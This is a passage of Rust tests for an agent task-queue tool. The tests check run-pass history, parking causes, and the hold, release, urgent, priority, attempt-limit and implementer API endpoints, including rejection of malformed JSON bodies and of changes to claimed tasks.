17580 assert_eq!(h[0].kind, "competition");
17581 assert_eq!(h[1].kind, "resume");
17582 assert_eq!(
17583 (h[0].exit, h[0].attempt),
17584 (RunExit::Parked, AttemptCost::Refunded)
17585 );
17586 assert!(
17587 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17588 "{}",
17589 h[0].outcome
17590 );
17591 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17592 assert!(
17593 h[0].outcome.contains("pass #2 resumed the same run"),
17594 "{}",
17595 h[0].outcome
17596 );
17597 assert!(
17598 h[0].outcome.contains("pass 1 of 2 over run"),
17599 "{}",
17600 h[0].outcome
17601 );
17602 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17603 assert_eq!(
17604 h[0].exit_label,
17605 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17606 );
17607 let f = task_flow(&task, &h, 2, None);
17608 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17610 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17611 assert!(
17612 f.edges[1].label.contains("upgrade 0.121.0"),
17613 "{}",
17614 f.edges[1].label
17615 );
17616 assert!(
17617 f.edges[1].label.contains("resume the same run"),
17618 "{}",
17619 f.edges[1].label
17620 );
17621 assert_eq!(f.nodes[1].note, Some("parked"));
17622 }
17623
17624 #[test]
17625 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17626 let mut a = flow_run(RunStatus::Implementing, |s| {
17627 s.passes = vec![
17628 recorded_pass(0, parked(upgrade_cause())),
17629 recorded_pass(1, None),
17630 ];
17631 });
17632 let mut b = flow_run(RunStatus::Failed, |s| {
17633 s.passes = vec![recorded_pass(0, None)];
17634 });
17635 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17636 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17637 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17638 let mut task = flow_task(&[]);
17639 task.start("a".into());
17640 task.start("b".into());
17641 task.start("a".into());
17642 assert_eq!(task.runs, ["b", "a"]);
17643 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17644 let h = task_history(&task, |id| {
17645 Some(if id == "a" { a.clone() } else { b.clone() })
17646 });
17647 assert_eq!(
17648 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17649 ["a", "b", "a"]
17650 );
17651 assert_eq!(h[0].attempt, AttemptCost::Refunded);
17652 assert!(h[0].outcome.contains("upgrade"));
17653 assert_eq!(h[2].kind, "resume");
17654 assert!(h[2].pass.is_some());
17655 task.runs = vec!["a".into(), "b".into(), "a".into()];
17657 let old = task_history(&task, |id| {
17658 Some(if id == "a" { a.clone() } else { b.clone() })
17659 });
17660 assert_eq!(
17661 old.iter()
17662 .map(|v| (&v.id, &v.kind, v.attempt))
17663 .collect::<Vec<_>>(),
17664 h.iter()
17665 .map(|v| (&v.id, &v.kind, v.attempt))
17666 .collect::<Vec<_>>()
17667 );
17668 }
17669
17670 #[test]
17671 fn an_upgrade_whose_target_was_not_known_says_so() {
17672 let run = flow_run(RunStatus::Implementing, |s| {
17673 s.passes = vec![
17674 recorded_pass(
17675 0,
17676 parked(crate::run::ParkCause::Upgrade {
17677 from: "0.121.0".to_owned(),
17678 to: None,
17679 }),
17680 ),
17681 recorded_pass(1, None),
17682 ];
17683 });
17684 let task = flow_task(&[RUN_X, RUN_X]);
17685 let h = task_history(&task, |_| Some(run.clone()));
17686 assert!(
17687 h[0].outcome.contains("upgrade from 0.121.0"),
17688 "{}",
17689 h[0].outcome
17690 );
17691 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17693 }
17694
17695 #[test]
17696 fn each_pass_keeps_its_own_cause_across_several_resumes() {
17697 use crate::queue::PassCost;
17698 use crate::run::ParkCause;
17699 let run = flow_run(RunStatus::Implementing, |s| {
17700 s.passes = vec![
17701 recorded_pass(0, parked(upgrade_cause())),
17702 recorded_pass(
17703 1,
17704 parked(ParkCause::Interrupt {
17705 reason: "task a1b2 asked to run first".to_owned(),
17706 }),
17707 ),
17708 recorded_pass(2, parked(ParkCause::Operator)),
17709 recorded_pass(3, None),
17710 ];
17711 });
17712 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17713 task.attempts = 1;
17714 task.passes = (0..3)
17715 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17716 .collect();
17717 let h = task_history(&task, |_| Some(run.clone()));
17718 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17719 assert!(
17720 h[1].outcome.contains("task a1b2 asked to run first"),
17721 "{}",
17722 h[1].outcome
17723 );
17724 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17725 assert!(
17726 h[2].outcome.contains("operator asked the loop to park"),
17727 "{}",
17728 h[2].outcome
17729 );
17730 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17731 let f = task_flow(&task, &h, 2, None);
17732 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17733 }
17734
17735 #[test]
17736 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17737 let run = flow_run(RunStatus::Implementing, |s| {
17738 s.passes = vec![
17739 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17740 recorded_pass(1, None),
17741 ];
17742 });
17743 let task = flow_task(&[RUN_X, RUN_X]);
17744 let h = task_history(&task, |_| Some(run.clone()));
17745 assert_eq!(h[0].exit, RunExit::Interrupted);
17746 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17747 assert!(
17748 h[0].outcome.contains("without recording why"),
17749 "{}",
17750 h[0].outcome
17751 );
17752 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17753 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17754 }
17755
17756 #[test]
17757 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17758 use crate::queue::PassCost;
17759 let run = flow_run(RunStatus::Implementing, |s| {
17762 s.passes = vec![
17763 recorded_pass(0, parked(upgrade_cause())),
17764 recorded_pass(1, None),
17765 ];
17766 });
17767 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17768 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17769 let h = task_history(&task, |_| Some(run.clone()));
17770 assert!(h[0].pass.is_none());
17771 assert_eq!(h[0].exit, RunExit::Interrupted);
17772 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17773 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17774 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17775 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17776 let legacy = flow_run(RunStatus::Implementing, |_| {});
17778 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17779 assert!(h.iter().all(|v| v.pass.is_none()));
17780 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17781 }
17782
17783 #[test]
17784 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17785 use crate::queue::PassCost;
17786 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17789 web.task_entry = false;
17790 let run = flow_run(RunStatus::Implementing, |s| {
17791 s.passes = vec![
17792 recorded_pass(0, parked(upgrade_cause())),
17793 web.clone(),
17794 recorded_pass(2, None),
17795 ];
17796 });
17797 let mut task = flow_task(&[RUN_X, RUN_X]);
17798 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17799 let h = task_history(&task, |_| Some(run.clone()));
17800 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17801 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17802
17803 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17806 web0.task_entry = false;
17807 let run = flow_run(RunStatus::Implementing, |s| {
17808 s.passes = vec![web0.clone(), recorded_pass(1, None)];
17809 });
17810 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17811 assert!(h[0].pass.is_none());
17812 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17813 assert!(h[1].pass.is_some());
17814 }
17815
17816 #[tokio::test]
17817 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17818 let dir = tempfile::tempdir().unwrap();
17819 let queue = Queue::at(dir.path().join("queue"));
17820 let ui = Arc::new(Ui::new(
17821 queue.clone(),
17822 Questions::at(dir.path().join("questions")),
17823 Talks::at(dir.path().join("talks")),
17824 dir.path().join("runs"),
17825 dir.path().to_path_buf(),
17826 dir.path().to_path_buf(),
17827 ));
17828 let mut t = Task::new(
17829 "recover".into(),
17830 "Inspect".into(),
17831 PathBuf::from("."),
17832 Source::Human,
17833 );
17834 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17835 t.start("run-A".into());
17836 t.release_operator("choice", Some("resume-question"));
17837 t.resume_override = Some(crate::queue::OperatorResume {
17838 question_id: "resume-question".into(),
17839 at: jiff::Timestamp::now(),
17840 conductor_rehold: None,
17841 forced: true,
17842 pinned_run: Some("run-A".into()),
17843 });
17844 t.hold_machine(Some("inspection pending".into()));
17845 t.edit("recover".into(), "Reuse approved PR head".into())
17846 .unwrap();
17847 queue.put(&mut t).unwrap();
17848 let mut cli = t.clone();
17849 cli.release_operator("cli", None);
17850 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17851 let reloaded = queue.get(&t.id).unwrap();
17852 assert_eq!(reply.task.status, TaskStatus::Queued);
17853 assert!(reloaded.resume_override.is_none());
17854 assert_eq!(reloaded.answers, t.answers);
17855 let mut web = reloaded.resumption.unwrap();
17856 let cli = cli.resumption.unwrap();
17857 assert_eq!(web.source, "web");
17858 web.source = cli.source.clone();
17859 web.at = cli.at;
17860 assert_eq!(web, cli);
17861 }
17862
17863 #[tokio::test]
17864 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17865 let f = Fixture::start().await;
17866 let queue = f.queue();
17867 let mut task = Task::new(
17868 "spent".to_owned(),
17869 "Try again".to_owned(),
17870 PathBuf::from("/repo/magi"),
17871 Source::Human,
17872 );
17873 task.start("20260902-140502-bbbb".to_owned());
17874 task.fail("agent gave up", 9);
17875 queue.put(&mut task).expect("file the task");
17876
17877 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17878 assert_eq!(held.status, 200);
17879 assert_eq!(held.json()["status_str"], "held");
17880
17881 let released = f
17882 .post(&format!("/api/queue/{}/release", task.id), None)
17883 .await;
17884 assert_eq!(released.status, 200);
17885 assert_eq!(released.json()["status_str"], "queued");
17886 assert_eq!(released.json()["resumption"]["source"], "web");
17887 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17888 let mut cli = task.clone();
17889 cli.release_operator("cli", None);
17890 let web = queue.get(&task.id).unwrap().resumption.unwrap();
17891 let cli = cli.resumption.unwrap();
17892 assert_eq!(web.instruction, cli.instruction);
17893 assert_eq!(web.answers_through, cli.answers_through);
17894 assert_eq!(web.runs_through, cli.runs_through);
17895 assert_eq!(web.cleared_reason, cli.cleared_reason);
17896 assert_eq!(
17897 released.json()["attempts"],
17898 0,
17899 "release is a real second chance, not an instant re-hold"
17900 );
17901 assert_eq!(
17902 queue.get(&task.id).expect("reload").status,
17903 TaskStatus::Queued,
17904 "the change is on disk, not only in the reply"
17905 );
17906 assert!(
17907 !f.home
17908 .path()
17909 .join("queue")
17910 .join(format!("{}.lock", task.id))
17911 .exists(),
17912 "the claim the mutation took is released again"
17913 );
17914 }
17915
17916 #[tokio::test]
17917 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17918 let f = Fixture::start().await;
17919 let queue = f.queue();
17920 let mut task = Task::new(
17921 "busy".to_owned(),
17922 "Running right now".to_owned(),
17923 PathBuf::from("/repo/magi"),
17924 Source::Human,
17925 );
17926 queue.put(&mut task).expect("file the task");
17927 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17928
17929 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17930
17931 assert_eq!(res.status, 409);
17932 assert_eq!(
17933 queue.get(&task.id).expect("reload").status,
17934 TaskStatus::Queued,
17935 "the refused hold changed nothing"
17936 );
17937 }
17938
17939 #[tokio::test]
17940 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17941 let f = Fixture::start().await;
17942 let queue = f.queue();
17943 let mut task = Task::new(
17944 "waiting on the migration".to_owned(),
17945 "Do the thing".to_owned(),
17946 PathBuf::from("/repo/magi"),
17947 Source::Human,
17948 );
17949 queue.put(&mut task).expect("file the task");
17950
17951 let held = f
17952 .post(
17953 &format!("/api/queue/{}/hold", task.id),
17954 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17955 )
17956 .await;
17957 assert_eq!(held.status, 200, "{}", held.body);
17958 assert_eq!(held.json()["status_str"], "held");
17959 assert_eq!(
17960 held.json()["hold_reason"],
17961 "waiting for 20260101-000000-aaaa to land"
17962 );
17963
17964 let listed = f.get("/api/queue").await.json();
17965 assert_eq!(
17966 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17967 "the card reads the reason off the same list route"
17968 );
17969
17970 let mut plain = Task::new(
17973 "no reason given".to_owned(),
17974 "Do another thing".to_owned(),
17975 PathBuf::from("/repo/magi"),
17976 Source::Human,
17977 );
17978 queue.put(&mut plain).expect("file the task");
17979 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17980 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17981 assert!(held_plain.json()["hold_reason"].is_null());
17982
17983 let released = f
17984 .post(&format!("/api/queue/{}/release", task.id), None)
17985 .await;
17986 assert_eq!(released.status, 200);
17987 assert!(
17988 released.json()["hold_reason"].is_null(),
17989 "a release must clear the reason so the next hold does not inherit it"
17990 );
17991 }
17992
17993 #[test]
17994 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17995 for urgent in [true, false] {
17996 let body: UrgentBody =
17997 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17998 assert_eq!(body.urgent, urgent);
17999 }
18000 for input in [
18001 r#"{}"#,
18002 r#"{"urgent":null}"#,
18003 r#"{"urgent":"true"}"#,
18004 r#"{"urgent":1}"#,
18005 r#"{"urgent":true,"extra":false}"#,
18006 ] {
18007 assert!(
18008 serde_json::from_str::<UrgentBody>(input).is_err(),
18009 "{input}"
18010 );
18011 }
18012 }
18013
18014 #[tokio::test]
18015 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18016 let home = TempDir::new().unwrap();
18017 let q = Queue::at(home.path().join("queue"));
18018 let ui = Arc::new(Ui::new(
18019 q.clone(),
18020 Questions::at(home.path().join("questions")),
18021 Talks::at(home.path().join("talks")),
18022 home.path().join("runs"),
18023 home.path().into(),
18024 home.path().into(),
18025 ));
18026 let mut task = Task::new(
18027 "urgent handler".into(),
18028 "keep".into(),
18029 home.path().into(),
18030 Source::Human,
18031 );
18032 for status in [TaskStatus::Queued, TaskStatus::Held] {
18033 task.status = status;
18034 q.put(&mut task).unwrap();
18035 for urgent in [true, true, false, false] {
18036 let saved = queue_urgent(
18037 State(Arc::clone(&ui)),
18038 Path(task.short().into()),
18039 Ok(Json(UrgentBody { urgent })),
18040 )
18041 .await
18042 .unwrap();
18043 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18044 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18045 }
18046 }
18047 task.status = TaskStatus::Queued;
18048 q.put(&mut task).unwrap();
18049 let claim = q.claim(&task.id).unwrap();
18050 let error = queue_urgent(
18051 State(Arc::clone(&ui)),
18052 Path(task.id.clone()),
18053 Ok(Json(UrgentBody { urgent: true })),
18054 )
18055 .await
18056 .unwrap_err();
18057 assert_eq!(error.status, StatusCode::CONFLICT);
18058 assert!(error.message.contains("released"));
18059 drop(claim);
18060 for status in [
18061 TaskStatus::Running,
18062 TaskStatus::Done,
18063 TaskStatus::Failed,
18064 TaskStatus::Blocked,
18065 TaskStatus::Parked,
18066 ] {
18067 task.status = status;
18068 q.put(&mut task).unwrap();
18069 let error = queue_urgent(
18070 State(Arc::clone(&ui)),
18071 Path(task.id.clone()),
18072 Ok(Json(UrgentBody { urgent: false })),
18073 )
18074 .await
18075 .unwrap_err();
18076 assert_eq!(error.status, StatusCode::BAD_REQUEST);
18077 assert!(error.message.contains(status.as_str()));
18078 }
18079 }
18080
18081 #[tokio::test]
18082 async fn urgent_api_updates_preserves_and_validates_tasks() {
18083 let f = Fixture::start().await;
18084 let q = f.queue();
18085 let mut t = Task::new(
18086 "urgent API".into(),
18087 "unchanged".into(),
18088 PathBuf::from("/repo/magi"),
18089 Source::Human,
18090 );
18091 t.attempts = 2;
18092 t.priority = 9;
18093 t.interrupt = true;
18094 t.hold_reason = Some("waiting for approval".into());
18095 for status in [TaskStatus::Queued, TaskStatus::Held] {
18096 t.status = status;
18097 q.put(&mut t).unwrap();
18098 for urgent in [true, true, false, false] {
18099 let response = f
18100 .post(
18101 &format!("/api/queue/{}/urgent", t.short()),
18102 Some(&format!("{{\"urgent\":{urgent}}}")),
18103 )
18104 .await;
18105 assert_eq!(response.status, 200, "{}", response.body);
18106 assert_eq!(response.json()["urgent"], urgent);
18107 let saved = q.get(&t.id).unwrap();
18108 let mut before = serde_json::to_value(&t).unwrap();
18109 let mut after = serde_json::to_value(saved).unwrap();
18110 before["urgent"] = urgent.into();
18111 before.as_object_mut().unwrap().remove("updated_at");
18112 after.as_object_mut().unwrap().remove("updated_at");
18113 assert_eq!(after, before);
18114 }
18115 }
18116 let route = format!("/api/queue/{}/urgent", t.id);
18117 for body in [
18118 r#"{}"#,
18119 r#"{"urgent":null}"#,
18120 r#"{"urgent":"true"}"#,
18121 r#"{"urgent":1}"#,
18122 r#"{"urgent":true,"extra":false}"#,
18123 "{",
18124 ] {
18125 assert_eq!(f.post(&route, Some(body)).await.status, 400);
18126 }
18127 t.status = TaskStatus::Queued;
18128 q.put(&mut t).unwrap();
18129 let claim = q.claim(&t.id).unwrap();
18130 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18131 assert_eq!(response.status, 409, "{}", response.body);
18132 assert!(!q.get(&t.id).unwrap().urgent);
18133 drop(claim);
18134 for status in [
18135 TaskStatus::Running,
18136 TaskStatus::Done,
18137 TaskStatus::Failed,
18138 TaskStatus::Blocked,
18139 TaskStatus::Parked,
18140 ] {
18141 t.status = status;
18142 q.put(&mut t).unwrap();
18143 for urgent in [true, false] {
18144 let response = f
18145 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18146 .await;
18147 assert_eq!(response.status, 400, "{}", response.body);
18148 assert!(response.body.contains(status.as_str()));
18149 assert!(response.body.contains("queued or held"));
18150 assert!(!q.get(&t.id).unwrap().urgent);
18151 }
18152 }
18153 assert_eq!(
18154 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18155 .await
18156 .status,
18157 404
18158 );
18159 }
18160
18161 #[tokio::test]
18162 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18163 let f = Fixture::start().await;
18164 let queue = f.queue();
18165 let mut older = Task::new(
18166 "filed first".to_owned(),
18167 "x".to_owned(),
18168 PathBuf::from("/repo/magi"),
18169 Source::Human,
18170 );
18171 older.id = "20260101-000001-aaaa".to_owned();
18172 let mut newer = Task::new(
18173 "filed second".to_owned(),
18174 "x".to_owned(),
18175 PathBuf::from("/repo/magi"),
18176 Source::Human,
18177 );
18178 newer.id = "20260101-000002-bbbb".to_owned();
18179 queue.put(&mut older).expect("file older");
18180 queue.put(&mut newer).expect("file newer");
18181
18182 let before = f.get("/api/queue").await.json();
18185 assert_eq!(before[0]["id"], newer.id);
18186 assert_eq!(before[1]["id"], older.id);
18187
18188 let raised = f
18192 .post(
18193 &format!("/api/queue/{}/priority", older.id),
18194 Some(r#"{"priority":10}"#),
18195 )
18196 .await;
18197 assert_eq!(raised.status, 200, "{}", raised.body);
18198 assert_eq!(raised.json()["priority"], 10);
18199
18200 let after = f.get("/api/queue").await.json();
18201 let names: Vec<&str> = after
18202 .as_array()
18203 .unwrap()
18204 .iter()
18205 .map(|t| t["id"].as_str().unwrap())
18206 .collect();
18207 assert_eq!(names[0], older.id, "the raised task now sorts first");
18211 }
18212
18213 #[tokio::test]
18214 async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18215 let f = Fixture::start().await;
18216 let queue = f.queue();
18217 let mut tasks = Vec::new();
18218 for id in [
18219 "20260101-000001-aaaa",
18220 "20260101-000002-bbbb",
18221 "20260101-000003-cccc",
18222 ] {
18223 let mut task = Task::new(
18224 id.into(),
18225 "x".into(),
18226 PathBuf::from("/repo/magi"),
18227 Source::Human,
18228 );
18229 task.id = id.into();
18230 queue.put(&mut task).unwrap();
18231 tasks.push(task);
18232 }
18233 assert_eq!(
18234 queue.next_runnable().unwrap().id,
18235 tasks[0].id,
18236 "equal priorities use ascending id"
18237 );
18238 let route = format!("/api/queue/{}/priority", tasks[2].id);
18239 assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18240 assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18241 tasks[1].start("upgrade-run".into());
18242 tasks[1].park("upgrade");
18243 tasks[1].record_pass_at(
18244 "upgrade-run",
18245 0,
18246 Some("2026-01-01T00:00:00Z".parse().unwrap()),
18247 1,
18248 Some(crate::run::ParkCause::Upgrade {
18249 from: "old".into(),
18250 to: None,
18251 }),
18252 );
18253 queue.put(&mut tasks[1]).unwrap();
18254 let rows = f.get("/api/queue").await.json();
18255 let upgrade = rows
18256 .as_array()
18257 .unwrap()
18258 .iter()
18259 .find(|row| row["id"] == tasks[1].id)
18260 .unwrap();
18261 assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18262 assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18263 tasks[2] = queue.get(&tasks[2].id).unwrap();
18264 tasks[2].start("running-run".into());
18265 queue.put(&mut tasks[2]).unwrap();
18266 assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18267 assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18268 }
18269
18270 #[tokio::test]
18271 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18272 let dir = TempDir::new().unwrap();
18273 let q = Queue::at(dir.path().join("queue"));
18274 let ui = Arc::new(Ui::new(
18275 q.clone(),
18276 Questions::at(dir.path().join("questions")),
18277 Talks::at(dir.path().join("talks")),
18278 dir.path().join("runs"),
18279 dir.path().to_path_buf(),
18280 dir.path().to_path_buf(),
18281 ));
18282 let mut t = Task::new(
18283 "budget".into(),
18284 "keep".into(),
18285 dir.path().into(),
18286 Source::Human,
18287 );
18288 t.attempts = 2;
18289 t.runs.push("prior-run".into());
18290 t.hold_manual(Some("waiting".into()));
18291 q.put(&mut t).unwrap();
18292 let change = |value| {
18293 queue_attempt_limit(
18294 State(ui.clone()),
18295 Path(t.id.clone()),
18296 Ok(Json(AttemptLimitBody {
18297 attempt_limit: value,
18298 })),
18299 )
18300 };
18301 for value in [
18302 serde_json::json!(3),
18303 serde_json::Value::Null,
18304 serde_json::json!(1),
18305 ] {
18306 let response = change(value.clone()).await.unwrap();
18307 assert_eq!(
18308 serde_json::to_value(response.0).unwrap()["attempt_limit"],
18309 value
18310 );
18311 let saved = q.get(&t.id).unwrap();
18312 assert_eq!(
18313 serde_json::to_value(&saved).unwrap()["attempt_limit"],
18314 value
18315 );
18316 assert_eq!(saved.status, TaskStatus::Held);
18317 assert_eq!(saved.attempts, t.attempts);
18318 assert_eq!(saved.runs, t.runs);
18319 assert_eq!(saved.hold_reason, t.hold_reason);
18320 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18321 .await
18322 .unwrap()
18323 .0;
18324 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18325 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18326 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18327 assert_eq!(outcome.max_attempts, detail.max_attempts);
18328 }
18329 for value in [
18330 serde_json::json!(0),
18331 serde_json::json!(-1),
18332 serde_json::json!(1.5),
18333 serde_json::json!("3"),
18334 serde_json::json!(true),
18335 ] {
18336 assert_eq!(
18337 change(value).await.err().unwrap().status,
18338 StatusCode::BAD_REQUEST
18339 );
18340 }
18341 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18342 let claim = q.claim(&t.id).unwrap();
18343 assert_eq!(
18344 change(serde_json::json!(4)).await.err().unwrap().status,
18345 StatusCode::CONFLICT
18346 );
18347 drop(claim);
18348 for status in [
18349 TaskStatus::Running,
18350 TaskStatus::Done,
18351 TaskStatus::Failed,
18352 TaskStatus::Blocked,
18353 TaskStatus::Parked,
18354 ] {
18355 let mut stored = q.get(&t.id).unwrap();
18356 stored.status = status;
18357 q.put(&mut stored).unwrap();
18358 assert_eq!(
18359 change(serde_json::json!(4)).await.err().unwrap().status,
18360 StatusCode::BAD_REQUEST
18361 );
18362 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18363 }
18364 let mut stored = q.get(&t.id).unwrap();
18365 stored.status = TaskStatus::Queued;
18366 q.put(&mut stored).unwrap();
18367 let _ = change(serde_json::Value::Null).await.unwrap();
18368 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18369 }
18370
18371 #[tokio::test]
18372 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18373 let dir = TempDir::new().unwrap();
18374 let repo = dir.path().join("repo");
18375 std::fs::create_dir(&repo).unwrap();
18376 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18377 let q = Queue::at(dir.path().join("queue"));
18378 let ui = Arc::new(Ui::new(
18379 q.clone(),
18380 Questions::at(dir.path().join("questions")),
18381 Talks::at(dir.path().join("talks")),
18382 dir.path().join("runs"),
18383 dir.path().to_path_buf(),
18384 repo.clone(),
18385 ));
18386 let mut t = Task::new(
18387 "seats".into(),
18388 "keep instruction".into(),
18389 repo,
18390 Source::Human,
18391 );
18392 t.runs.push("prior-run".into());
18393 t.hold_manual(Some("waiting".into()));
18394 q.put(&mut t).unwrap();
18395 let change = |count| {
18396 queue_implementers(
18397 State(ui.clone()),
18398 Path(t.id.clone()),
18399 Ok(Json(ImplementersBody {
18400 implementers: count,
18401 })),
18402 )
18403 };
18404 for count in [2, 1, 2] {
18405 let response = change(count).await.unwrap();
18406 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18407 let saved = q.get(&t.id).unwrap();
18408 assert_eq!(saved.implementers(), Some(usize::from(count)));
18409 assert_eq!(saved.runs, t.runs);
18410 assert_eq!(saved.instruction, t.instruction);
18411 }
18412 for count in [0, 4] {
18413 assert_eq!(
18414 change(count).await.err().unwrap().status,
18415 StatusCode::BAD_REQUEST
18416 );
18417 }
18418 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18419 let claim = q.claim(&t.id).unwrap();
18420 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18421 drop(claim);
18422 for status in [
18423 TaskStatus::Running,
18424 TaskStatus::Done,
18425 TaskStatus::Failed,
18426 TaskStatus::Blocked,
18427 TaskStatus::Parked,
18428 ] {
18429 let mut stored = q.get(&t.id).unwrap();
18430 stored.status = status;
18431 q.put(&mut stored).unwrap();
18432 assert_eq!(
18433 change(1).await.err().unwrap().status,
18434 StatusCode::BAD_REQUEST
18435 );
18436 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18437 }
18438 }
18439
18440 #[tokio::test]
18441 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18442 let f = Fixture::start().await;
18443 let queue = f.queue();
18444 let mut task = Task::new(
18445 "in flight".to_owned(),
18446 "x".to_owned(),
18447 PathBuf::from("/repo/magi"),
18448 Source::Human,
18449 );
18450 task.start("20260902-140502-bbbb".to_owned());
18451 queue.put(&mut task).expect("file the task");
18452
18453 let res = f
18454 .post(
18455 &format!("/api/queue/{}/priority", task.id),
18456 Some(r#"{"priority":9}"#),
18457 )
18458 .await;
18459 assert_eq!(res.status, 400, "{}", res.body);
18460 assert!(
18461 res.json()["error"]
18462 .as_str()
18463 .is_some_and(|e| e.contains("running")),
18464 "{}",
18465 res.body
18466 );
18467 assert_eq!(
18468 queue.get(&task.id).expect("reload").priority,
18469 0,
18470 "the refused write must not partially apply"
18471 );
18472 }
18473
18474 #[tokio::test]
18475 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18476 let f = Fixture::start().await;
18477 let queue = f.queue();
18478 let mut task = Task::new(
18479 "old title".to_owned(),
18480 "old instruction".to_owned(),
18481 PathBuf::from("/repo/magi"),
18482 Source::Agent {
18483 run: "20260101-000000-beef".to_owned(),
18484 node: "implement".to_owned(),
18485 },
18486 );
18487 task.runs.push("20260101-000000-beef".to_owned());
18488 queue.put(&mut task).expect("file the task");
18489 let created_at = task.created_at;
18490
18491 let edited = f
18492 .post(
18493 &format!("/api/queue/{}/edit", task.id),
18494 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18495 )
18496 .await;
18497 assert_eq!(edited.status, 200, "{}", edited.body);
18498 let body = edited.json();
18499 assert_eq!(body["title"], "new title");
18500 assert_eq!(body["instruction"], "new instruction");
18501 assert_eq!(body["id"], task.id, "editing must not mint a new id");
18502 assert_eq!(body["created_at"], created_at.to_string());
18503 assert_eq!(
